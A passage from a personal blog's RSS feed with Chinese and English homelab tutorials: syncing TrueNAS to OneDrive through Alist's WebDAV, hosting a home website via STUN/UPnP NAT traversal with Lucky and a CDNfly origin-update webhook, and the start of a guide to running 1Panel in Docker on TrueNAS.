&lt;li&gt;https://learn.microsoft.com/en-us/previous-versions/troubleshoot/windows/win32/use-dnsquery-resolve-host-names&lt;/li&gt;
&lt;li&gt;https://learn.microsoft.com/en-us/windows/win32/dns/dns-constants&lt;/li&gt;
&lt;li&gt;https://blog.csdn.net/sky04/article/details/6881649&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>通过Alist使TrueNAS同步到OneDrive</title><link>https://blog.iyoroy.cn/posts/35/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/35/</guid><description>用 Alist 将 OneDrive 暴露为 WebDAV，再交给 TrueNAS 的云同步任务上传数据，替代原先单独运行 OneDrive 同步容器的方案。</description><pubDate>Wed, 12 Mar 2025 16:39:00 GMT</pubDate><content:encoded>&lt;h1&gt;背景&lt;/h1&gt;
&lt;p&gt;手上有个E5订阅，本来用的方案是Docker运行&lt;strong&gt;driveone/onedrive:edge&lt;/strong&gt;的方式来实现同步，但是这个方案一个是这种方式没有GUI/WebUI，一个是每次同步的时候都会占用掉CPU 25%-50%的性能。考虑到TrueNAS自带的同步方案可以向WebDAV同步，因此想到能用Alist来挂载OneDrive并转换成WebDAV供TrueNAS挂载。&lt;/p&gt;
&lt;h1&gt;折腾过程&lt;/h1&gt;
&lt;h2&gt;安装Alist&lt;/h2&gt;
&lt;p&gt;为Alist创建持久化存储文件夹，并根据Alist官方文档编写Docker Compose：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  alist:
    environment:
      - PUID=3000
      - PGID=950
      - UMASK=022
    image: xhofe/alist:latest
    ports:
      - &apos;8088:5244&apos;
    restart: always
    volumes:
      - /mnt/systemdata/DockerData/alist/etc:/opt/alist/data
      - /mnt/data/Storage:/mnt/data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处我将Alist端口开放在8088，其中映射&lt;code&gt;/mnt/data/Storage&lt;/code&gt;是为了让Alist可以管理本地的存储；映射&lt;code&gt;/mnt/systemdata/DockerData/alist/etc&lt;/code&gt;作为存储Alist数据的文件夹。&lt;br /&gt;
关于如何配置Alist上的OneDrive本文不做讨论，请查询Alist官方文档。此处我将我的OneDrive挂载在&lt;code&gt;/OneDrive&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;完成后进入Alist后台-用户，编辑你的用户或者创建一个新用户，勾选&lt;strong&gt;Webdav 读取&lt;/strong&gt;、&lt;strong&gt;Webdav 管理&lt;/strong&gt;以使得该用户可以使用WebDAV。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/05/187178730.png&quot; alt=&quot;3.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;配置TrueNAS同步&lt;/h2&gt;
&lt;p&gt;进入&lt;strong&gt;TrueNAS后台-Credentials-Backup Credentials&lt;/strong&gt;，添加一个&lt;strong&gt;Cloud Credential&lt;/strong&gt;，参数如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Provider: WebDAV&lt;/li&gt;
&lt;li&gt;Name: 自定义&lt;/li&gt;
&lt;li&gt;URL: Alist地址+/dav，例如我这里填写&lt;code&gt;http://127.0.0.1:8088/dav&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;WebDAV Service: OTHER&lt;/li&gt;
&lt;li&gt;Username和Password: Alist账号密码&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/05/2349791275.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Verify Credential确认没问题之后保存。&lt;/p&gt;
&lt;p&gt;接着进入&lt;strong&gt;TrueNAS后台-Data Protection&lt;/strong&gt;，添加一个&lt;strong&gt;Cloud Sync Task&lt;/strong&gt;，&lt;strong&gt;Provider&lt;/strong&gt;下的&lt;strong&gt;Credentials&lt;/strong&gt;选择刚刚创建的Alist的WebDAV，点击下一步。此处的参数有很多种，详解如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Direction: 分为PULL和PUSH，分别对应云端同步到本地和本地同步到云端&lt;/li&gt;
&lt;li&gt;Transfer Mode:&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;COPY: 复制文件，若源文件夹中先前有的文件后来删除了云端的不会被删除&lt;/li&gt;
&lt;li&gt;MOVE: Copy后删除源文件夹相关文件&lt;/li&gt;
&lt;li&gt;SYNC: 保持源文件夹和目标文件夹同步，源文件夹删除的文件也会在目标里删除&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Directory/Files: 即本地需要同步的文件或文件夹&lt;/li&gt;
&lt;li&gt;Folder: 即云端需要同步的文件夹&lt;/li&gt;
&lt;li&gt;Description: 注释&lt;/li&gt;
&lt;li&gt;Schedule: Cron定时，可以使用他预设的时段或者自己编写&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/05/1193767986.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;比如我这里选择的是PUSH，SYNC，从/mnt/data/Storage同步到/OneDrive/TrueNAS，每天0:00执行。&lt;/p&gt;
&lt;p&gt;编辑完成后保存，即可在你设置的时段自动将本地文件上传到OneDrive。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;旧方案的项目地址：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/abraunegg/onedrive&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://alist.nn.ci/zh/guide/install/docker.html&lt;/li&gt;
&lt;li&gt;https://alist.nn.ci/zh/guide/drivers/onedrive.html&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Using Alist to Sync TrueNAS to OneDrive</title><link>https://blog.iyoroy.cn/posts/en-35/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-35/</guid><description>Using Alist as a WebDAV bridge between TrueNAS cloud sync and OneDrive, replacing a separate OneDrive sync container.</description><pubDate>Wed, 12 Mar 2025 16:39:00 GMT</pubDate><content:encoded>&lt;h1&gt;Background&lt;/h1&gt;
&lt;p&gt;I have an E5 subscription and was originally using a solution involving running the &lt;strong&gt;driveone/onedrive:edge&lt;/strong&gt; Docker container to achieve synchronization. However, this solution had drawbacks: firstly, it lacked a GUI/WebUI, and secondly, each sync operation would consume 25%-50% of CPU resources. Considering that TrueNAS&apos;s built-in sync solution can sync to WebDAV, I thought of using Alist to mount OneDrive and convert it into WebDAV for TrueNAS to mount.&lt;/p&gt;
&lt;h1&gt;Process&lt;/h1&gt;
&lt;h2&gt;Installing Alist&lt;/h2&gt;
&lt;p&gt;Create a persistent storage folder for Alist and write a Docker Compose file according to the official Alist documentation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  alist:
    environment:
      - PUID=3000
      - PGID=950
      - UMASK=022
    image: xhofe/alist:latest
    ports:
      - &apos;8088:5244&apos;
    restart: always
    volumes:
      - /mnt/systemdata/DockerData/alist/etc:/opt/alist/data
      - /mnt/data/Storage:/mnt/data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, I exposed the Alist port on 8088. Mapping &lt;code&gt;/mnt/data/Storage&lt;/code&gt; allows Alist to manage local storage; mapping &lt;code&gt;/mnt/systemdata/DockerData/alist/etc&lt;/code&gt; serves as the folder for storing Alist data.&lt;br /&gt;
Configuring OneDrive on Alist is not discussed in this article; please refer to the official Alist documentation. Here, I mounted my OneDrive at &lt;code&gt;/OneDrive&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After setup, go to the Alist admin panel -&amp;gt; Users, edit your user or create a new user, and check the &lt;strong&gt;Webdav Read&lt;/strong&gt; and &lt;strong&gt;Webdav Manage&lt;/strong&gt; permissions to enable WebDAV access for this user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/05/187178730.png&quot; alt=&quot;3.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Configuring TrueNAS Sync&lt;/h2&gt;
&lt;p&gt;Go to &lt;strong&gt;TrueNAS Admin-Credentials-Backup Credentials&lt;/strong&gt;, and add a &lt;strong&gt;Cloud Credential&lt;/strong&gt; with the following parameters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Provider: WebDAV&lt;/li&gt;
&lt;li&gt;Name: Custom&lt;/li&gt;
&lt;li&gt;URL: Alist address +/dav, e.g., I used &lt;code&gt;http://127.0.0.1:8088/dav&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;WebDAV Service: OTHER&lt;/li&gt;
&lt;li&gt;Username和Password: Alist account credentials&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/05/2349791275.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Verify the credential and save it if successful.&lt;/p&gt;
&lt;p&gt;Next, go to &lt;strong&gt;TrueNAS Admin -&amp;gt; Data Protection&lt;/strong&gt;, and add a &lt;strong&gt;Cloud Sync Task&lt;/strong&gt;. Under &lt;strong&gt;Provider&lt;/strong&gt;, select the WebDAV credential for Alist created earlier. The parameters are explained in detail below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Direction: Choose PULL (cloud to local) or PUSH (local to cloud)&lt;/li&gt;
&lt;li&gt;Transfer Mode:
&lt;ol&gt;
&lt;li&gt;COPY: Copy files. Files deleted from the source folder later will not be deleted from the target.&lt;/li&gt;
&lt;li&gt;MOVE: Copy files and then delete them from the source folder after transfer.&lt;/li&gt;
&lt;li&gt;SYNC: Keep the source and target folders synchronized. Files deleted from the source will also be deleted from the target.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Directory/Files: The local file or folder to sync.&lt;/li&gt;
&lt;li&gt;Folder: The target folder in the cloud storage.&lt;/li&gt;
&lt;li&gt;Description: Notes.&lt;/li&gt;
&lt;li&gt;Schedule: Set a schedule using Cron syntax. You can use predefined intervals or write your own.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./images/2025/05/1193767986.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;For example, I selected PUSH, SYNC, syncing from &lt;code&gt;/mnt/data/Storage&lt;/code&gt; to &lt;code&gt;/OneDrive/TrueNAS&lt;/code&gt;, scheduled to run daily at 00:00.&lt;/p&gt;
&lt;p&gt;After editing, save the task. It will automatically upload local files to OneDrive at the scheduled time.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Old Solution Project Address:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/abraunegg/onedrive&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Reference Articles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://alist.nn.ci/zh/guide/install/docker.html&lt;/li&gt;
&lt;li&gt;https://alist.nn.ci/zh/guide/drivers/onedrive.html&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>使用家宽无公网IP+CDNfly实现建站</title><link>https://blog.iyoroy.cn/posts/31/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/31/</guid><description>在 NAT 条件允许的家宽上用 Lucky 映射入站端口，再通过 Webhook 更新 CDNfly 的回源地址和端口，记录无独立公网 IP 的建站尝试。</description><pubDate>Sun, 09 Mar 2025 06:33:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;&lt;s&gt;众所周知&lt;/s&gt;家宽建站一般需要有公网IP，但实际上没有公网IP时的某些情况通过特殊手段也可以实现在运营商的出口IP上公开一个端口用于外部对内连接的http端口，即NAT穿透（和FRP、ngrok、花生壳这样的内网穿透不一样，这种穿透不需要服务端）&lt;/p&gt;
&lt;h1&gt;前置条件&lt;/h1&gt;
&lt;p&gt;下载&lt;a href=&quot;https://github.com/HMBSbige/NatTypeTester/&quot;&gt;NatTypeTester&lt;/a&gt;，检测本机的NAT类型。关于NAT类型是什么请自行查阅资料。&lt;/p&gt;
&lt;p&gt;请确保你的网络环境满足如下条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;RFC3489下的NAT类型需为&lt;strong&gt;Full Cone&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;RFC5780下的TCP的映射行为需要是&lt;strong&gt;EndpointIndependent&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;如果出现UDPBlocked请更换服务器&lt;/p&gt;
&lt;h2&gt;提升NAT类型的办法&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;减少路由层数，光猫拨号的尽量直接将设备接在光猫下，多层路由的尽量将设备直接接在最顶上那层路由下&lt;/li&gt;
&lt;li&gt;开启路由器的UPnP&lt;/li&gt;
&lt;li&gt;设置DMZ主机为服务器IP&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;开始&lt;/h1&gt;
&lt;p&gt;使用了&lt;a href=&quot;http://lucky666.cn/&quot;&gt;Lucky&lt;/a&gt;作为NAT穿透的工具，通过Docker Compose部署在TrueNAS上，TrueNAS本地的9080开放了HTTP端口。&lt;/p&gt;
&lt;p&gt;部署Web服务器不在本文论述的范围内。&lt;/p&gt;
&lt;h2&gt;安装Lucky&lt;/h2&gt;
&lt;p&gt;按照官网介绍，编写DockerCompose：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  lucky:
    image: gdy666/lucky
    network_mode: host
    restart: always
    volumes:
      - /mnt/systemdata/DockerData/lucky/luckyconf:/goodluck
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;请修改持久化存储路径为你自己的路径。&lt;br /&gt;
其中&lt;code&gt;network_mode&lt;/code&gt;需要为&lt;strong&gt;host&lt;/strong&gt;，当然不是host也可以部署，但是不在本文讨论范围内。&lt;/p&gt;
&lt;p&gt;安装完成后打开&lt;strong&gt;http://[YourIP]:16601&lt;/strong&gt;，默认账号666默认密码666。登录后按照要求修改安全设置。&lt;/p&gt;
&lt;h2&gt;配置穿透&lt;/h2&gt;
&lt;p&gt;打开Lucky页面左侧的&lt;strong&gt;STUN内网穿透&lt;/strong&gt;，并创建穿透规则。&lt;br /&gt;
穿透本地端口填写一任意端口（注意不要和本机的服务冲突），目标地址和端口填写内网下的Web服务所在IP和端口。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;完成上述配置后以下几种穿透方式请任选一种&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;NAT-PMP方式&lt;/h3&gt;
&lt;p&gt;开启路由器UPnP功能，打开STUN穿透的NAT-PMP开关，NAT-PMP网关地址填入路由器地址即可。&lt;/p&gt;
&lt;h3&gt;DMZ主机方式&lt;/h3&gt;
&lt;p&gt;在路由器DMZ主机设置将Lucky所在服务器IP设置为DMZ主机，然后关闭STUN穿透的UPnP、NAT-PMP选项。&lt;/p&gt;
&lt;h3&gt;非Docker安装+UPnP&lt;/h3&gt;
&lt;p&gt;开启路由器UPnP功能，打开STUN穿透的UPnP开关，UPnP网关IP填写路由器IP，UPnP客户端本地IP填写Lucky所在主机IP，其他留空。&lt;/p&gt;
&lt;h3&gt;Docker安装+UPnP&lt;/h3&gt;
&lt;p&gt;需要先在非Docker的环境下运行一次Lucky以获取UPnP接口地址。比如我在电脑（Windows）上安装Lucky并创建一条测试隧道，填写内容和上文非Docker安装相同，目标地址和目标端口可随意填写。开启穿透后在日志里能看到类似如下内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPNP===&amp;gt;Control URL: http://192.168.3.1:5351/ctl/IPCon
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;（这里的URL是我的小米路由器AX3600的UPnP管理地址，不同路由器不一样）&lt;/p&gt;
&lt;p&gt;复制这里的Control URL，再在Docker内的Lucky中将Control URL填写到&lt;strong&gt;UPnP控制接口地址&lt;/strong&gt;一项中并开启穿透即可。&lt;/p&gt;
&lt;p&gt;如果不出问题应该能看到运营商的公网出口所分配的地址和端口，若能够从外面访问或者itdog测速能绿就代表穿透成功了。&lt;/p&gt;
&lt;h2&gt;配置CDNfly的WebHook&lt;/h2&gt;
&lt;p&gt;因为这种方式获得的公网IP和端口都是动态的，因此需要类似于DDNS的服务来固定访问方式，可以使用CloudFlare Workers进行重定向，也可以使用CDN动态修改回源IP和端口。我使用的是后面那种方式。&lt;/p&gt;
&lt;p&gt;我的CDN使用的是cdnfly管理系统，查阅cdnfly的官方文档可以找到API请求方式。&lt;/p&gt;
&lt;p&gt;在编辑STUN内网穿透规则时下面打开Webhook并勾选&lt;strong&gt;仅在地址和上一次不同时触发Webhook&lt;/strong&gt;，接口地址填入cdn网站管理API地址：&lt;code&gt;https://[your-cdn-domain]/v1/sites&lt;/code&gt;，请求方法&lt;strong&gt;PUT&lt;/strong&gt;；请求头标填入api-key和api-secret（可以在CDNfly后台看到）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;api-key: Your API Key
api-secret: Your API Secret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;请求体用json格式按照cdnfly官方文档的请求方式构建payload（请将id字段改成你的网站id，若存在多个网站则按照如下格式多复制几个并修改对应id即可）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
    {
        &quot;id&quot;: 114,
        &quot;backend_http_port&quot;: #{port},
        &quot;backend&quot;: [
            {
                &quot;addr&quot;: &quot;#{ip}&quot;,
                &quot;weight&quot;: 1,
                &quot;state&quot;: &quot;up&quot;
            }
        ]
    },
    {
        &quot;id&quot;: 514,
        &quot;backend_http_port&quot;: #{port},
        &quot;backend&quot;: [
            {
                &quot;addr&quot;: &quot;#{ip}&quot;,
                &quot;weight&quot;: 1,
                &quot;state&quot;: &quot;up&quot;
            }
        ]
    }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中，&lt;code&gt;#{ip}&lt;/code&gt;和&lt;code&gt;#{port}&lt;/code&gt;是Lucky提供的参数，标识获取到的公网IP和端口。&lt;/p&gt;
&lt;p&gt;保存，不出意外的话会自动将CDN对应网站的回源地址和端口改成运营商公网IP和端口。&lt;/p&gt;
&lt;h2&gt;安全问题&lt;/h2&gt;
&lt;p&gt;我本人建议使用HTTPS穿透，毕竟HTTP是明文传输，安全性还是不能保证。如果使用HTTPS，需要将上文CDN API调用的Payload中&lt;code&gt;backend_http_port&lt;/code&gt;改成&lt;code&gt;backend_https_port&lt;/code&gt;并在CDN处改为使用HTTPS回源。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;参考文章：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://doc.cdnfly.cn/wangzhanguanli-v1-sites.html&lt;/li&gt;
&lt;li&gt;https://lucky666.cn/docs/intro&lt;/li&gt;
&lt;li&gt;https://www.bilibili.com/opus/971100369193009187&lt;/li&gt;
&lt;li&gt;https://github.com/gdy666/lucky&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Using Home Broadband without Public IP + CDNfly to Host a Website</title><link>https://blog.iyoroy.cn/posts/en-31/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-31/</guid><description>Hosting a site without a dedicated public IP, where the NAT setup permits inbound mappings, using Lucky and a webhook to update CDNfly&apos;s origin address and port.</description><pubDate>Sun, 09 Mar 2025 06:33:00 GMT</pubDate><content:encoded>&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;&lt;s&gt;As is well known&lt;/s&gt;, hosting a website with home broadband usually requires a public IP address. However, in certain cases without a public IP, it is possible to expose an HTTP port on the carrier&apos;s exit IP for external connections through special methods, i.e., NAT penetration (this is different from FRP, ngrok, or Oray-like intranet penetration, as it does not require a server).&lt;/p&gt;
&lt;h1&gt;Prerequisites&lt;/h1&gt;
&lt;p&gt;Download &lt;a href=&quot;https://github.com/HMBSbige/NatTypeTester/&quot;&gt;NatTypeTester&lt;/a&gt; to check your NAT type. Please refer to relevant materials for details on NAT types.&lt;/p&gt;
&lt;p&gt;Ensure your network environment meets the following conditions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Under RFC3489, the NAT type must be &lt;strong&gt;Full Cone&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Under RFC5780, the TCP mapping behavior must be &lt;strong&gt;EndpointIndependent&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If UDPBlocked appears, change the server.&lt;/p&gt;
&lt;h2&gt;Methods to Improve NAT Type&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Reduce the number of router layers. If using modem dial-up, connect the device directly under the modem. For multi-layer routing, connect the device directly under the top router.&lt;/li&gt;
&lt;li&gt;Enable UPnP on the router.&lt;/li&gt;
&lt;li&gt;Set the DMZ host to the server IP.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;Getting Started&lt;/h1&gt;
&lt;p&gt;We use &lt;a href=&quot;http://lucky666.cn/&quot;&gt;Lucky&lt;/a&gt; as the NAT penetration tool, deployed on TrueNAS via Docker Compose. TrueNAS locally has port 9080 open for HTTP.&lt;/p&gt;
&lt;p&gt;Deploying a web server is not covered in this article.&lt;/p&gt;
&lt;h2&gt;Installing Lucky&lt;/h2&gt;
&lt;p&gt;Follow the official guide and write a Docker Compose file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  lucky:
    image: gdy666/lucky
    network_mode: host
    restart: always
    volumes:
      - /mnt/systemdata/DockerData/lucky/luckyconf:/goodluck
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Modify the persistent storage path to your own.
Note: &lt;code&gt;network_mode&lt;/code&gt; must be &lt;strong&gt;host&lt;/strong&gt;. It can be deployed without host, but that is not discussed here.&lt;/p&gt;
&lt;p&gt;After installation, open &lt;code&gt;http://[YourIP]:16601&lt;/code&gt;. The default username is 666 and password is 666. After logging in, modify security settings as required.&lt;/p&gt;
&lt;h2&gt;Configuring Penetration&lt;/h2&gt;
&lt;p&gt;Open &lt;strong&gt;STUN Intranet Penetration&lt;/strong&gt; on the left side of the Lucky page and create a penetration rule.&lt;br /&gt;
Fill in the local port with any port (ensure it does not conflict with local services), and the target address and port with the IP and port of the web service on the intranet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;After completing the above configuration, choose one of the following penetration methods:&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;NAT-PMP Method&lt;/h3&gt;
&lt;p&gt;Enable the router&apos;s UPnP function, turn on the NAT-PMP switch in STUN penetration, and fill in the router address as the NAT-PMP gateway address.&lt;/p&gt;
&lt;h3&gt;DMZ Host Method&lt;/h3&gt;
&lt;p&gt;Set the server IP where Lucky is installed as the DMZ host in the router&apos;s DMZ settings, then turn off the UPnP and NAT-PMP options in STUN penetration.&lt;/p&gt;
&lt;h3&gt;Non-Docker Installation + UPnP&lt;/h3&gt;
&lt;p&gt;Enable the router&apos;s UPnP function, turn on the UPnP switch in STUN penetration, fill in the router IP as the UPnP gateway IP, and fill in the Lucky host IP as the UPnP client local IP, leaving others blank.&lt;/p&gt;
&lt;h3&gt;Docker Installation + UPnP&lt;/h3&gt;
&lt;p&gt;First, run Lucky in a non-Docker environment to obtain the UPnP interface address. For example, install Lucky on a computer (Windows) and create a test tunnel with the same content as the non-Docker installation. The target address and port can be filled arbitrarily. After enabling penetration, you might see content like this in the log:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;UPNP===&amp;gt;Control URL: http://192.168.3.1:5351/ctl/IPCon
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(Here, the URL is my Xiaomi router AX3600&apos;s UPnP management address; different routers may vary.)&lt;/p&gt;
&lt;p&gt;Copy the Control URL, then fill it into the &lt;strong&gt;UPnP Control Interface Address&lt;/strong&gt; in the Docker Lucky and enable penetration.&lt;/p&gt;
&lt;p&gt;If no issues arise, you should see the address and port assigned by the carrier&apos;s public exit IP. If you can access it from outside or if an itdog test shows green, the penetration is successful.&lt;/p&gt;
&lt;h2&gt;Configuring CDNfly WebHook&lt;/h2&gt;
&lt;p&gt;Since the public IP and port obtained this way are dynamic, a service similar to DDNS is needed to fix the access method. You can use CloudFlare Workers for redirection or use a CDN to dynamically modify the origin IP and port. I use the latter.&lt;/p&gt;
&lt;p&gt;My CDN uses the cdnfly management system. Refer to the cdnfly official documentation for API request methods.&lt;/p&gt;
&lt;p&gt;When editing the STUN intranet penetration rule, open Webhook below and check &lt;strong&gt;Only trigger Webhook when the address is different from the last time&lt;/strong&gt;. Fill in the API address: &lt;code&gt;https://[your-cdn-domain]/v1/sites&lt;/code&gt;, request method &lt;strong&gt;PUT&lt;/strong&gt;; request headers include api-key and api-secret (can be found in the CDNfly backend):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;api-key: Your API Key
api-secret: Your API Secret
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The request body uses JSON format to construct the payload according to the cdnfly official documentation (change the id field to your website id; if multiple websites, copy and modify accordingly):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
    {
        &quot;id&quot;: 114,
        &quot;backend_http_port&quot;: #{port},
        &quot;backend&quot;: [
            {
                &quot;addr&quot;: &quot;#{ip}&quot;,
                &quot;weight&quot;: 1,
                &quot;state&quot;: &quot;up&quot;
            }
        ]
    },
    {
        &quot;id&quot;: 514,
        &quot;backend_http_port&quot;: #{port},
        &quot;backend&quot;: [
            {
                &quot;addr&quot;: &quot;#{ip}&quot;,
                &quot;weight&quot;: 1,
                &quot;state&quot;: &quot;up&quot;
            }
        ]
    }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Where &lt;code&gt;#{ip}&lt;/code&gt; and &lt;code&gt;#{port}&lt;/code&gt; are parameters provided by Lucky, representing the obtained public IP and port.&lt;/p&gt;
&lt;p&gt;Save, and if no issues, the CDN&apos;s corresponding website&apos;s origin address and port will be automatically changed to the carrier&apos;s public IP and port.&lt;/p&gt;
&lt;h2&gt;Security Considerations&lt;/h2&gt;
&lt;p&gt;I recommend using HTTPS penetration because HTTP is plain text and less secure. If using HTTPS, change &lt;code&gt;backend_http_port&lt;/code&gt; to &lt;code&gt;backend_https_port&lt;/code&gt; in the CDN API call payload and switch to HTTPS origin in the CDN.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Reference Articles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://doc.cdnfly.cn/wangzhanguanli-v1-sites.html&lt;/li&gt;
&lt;li&gt;https://lucky666.cn/docs/intro&lt;/li&gt;
&lt;li&gt;https://www.bilibili.com/opus/971100369193009187&lt;/li&gt;
&lt;li&gt;https://github.com/gdy666/lucky&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>在TrueNAS上使用Docker安装1Panel</title><link>https://blog.iyoroy.cn/posts/28/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/28/</guid><description>在 TrueNAS 上用 Docker 部署 1Panel，并让它管理宿主机的 Docker 服务，记录目录映射、镜像源和面板创建的容器无法启动等问题。</description><pubDate>Fri, 07 Mar 2025 05:18:00 GMT</pubDate><content:encoded>&lt;h1&gt;背景&lt;/h1&gt;
&lt;p&gt;家里TrueNAS性能剩余，想着部署个web服务。想要装个面板减少点工作量，又考虑到虚拟机性能折损和zfs cache对内存的要求比较大以及NAS本身性能也不好，便打算使用docker部署。再加上1Panel本身也是以docker为介质，二者共同控制TrueNAS宿主机的docker daemon，约等于直接将网站部署到TrueNAS本地并且也便于管理。&lt;/p&gt;
&lt;h1&gt;分析&lt;/h1&gt;
&lt;p&gt;:::warning
本文默认TrueNAS可以访问dockerhub并且已经配置好了docker daemon
:::&lt;/p&gt;
&lt;h2&gt;环境信息&lt;/h2&gt;
&lt;h3&gt;Storage Pool&lt;/h3&gt;
&lt;p&gt;存在两个存储池:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;/mnt/data&lt;/code&gt;: 1 x MIRROR | 2 wide | 2.73 TiB | HDD&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/mnt/systemdata&lt;/code&gt;: 1 x DISK | 1 wide | 223.57 GiB | SSD&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;其中docker数据存储在2号存储池中。&lt;/p&gt;
&lt;h3&gt;Datasets&lt;/h3&gt;
&lt;p&gt;存在三个数据集:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Storage: 位于data存储池，存放冷数据&lt;/li&gt;
&lt;li&gt;DockerData: 位于systemdata存储池，存放容器的持久化存储文件&lt;/li&gt;
&lt;li&gt;KaguraiYoRoy: 位于systemdata，用户home文件夹&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;安装1Panel&lt;/h2&gt;
&lt;p&gt;使用了&lt;strong&gt;moelin/1panel:latest&lt;/strong&gt;镜像部署，此步骤很多部分都可以参考镜像作者写的README。项目地址：
::github{repo=&quot;okxlin/docker-1panel&quot;}&lt;/p&gt;
&lt;p&gt;在DockerData数据集创建了一个文件夹专门用于存储1panel数据，即用作容器内&lt;code&gt;/opt/1panel&lt;/code&gt;，位于&lt;code&gt;/mnt/systemdata/DockerData/1panel&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;持久卷&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;因为要允许1Panel管理宿主机docker，因此需要映射&lt;code&gt;/var/run/docker.sock&lt;/code&gt;和宿主的docker文件夹&lt;/li&gt;
&lt;li&gt;映射上文为其创建的数据文件夹&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TrueNAS的docker文件夹和一般的Linux位置不一样，一般的Linux位于&lt;code&gt;/var/lib/docker&lt;/code&gt;而TrueNAS的位于&lt;code&gt;/mnt/.ix-apps/docker&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;环境变量和端口映射&lt;/h3&gt;
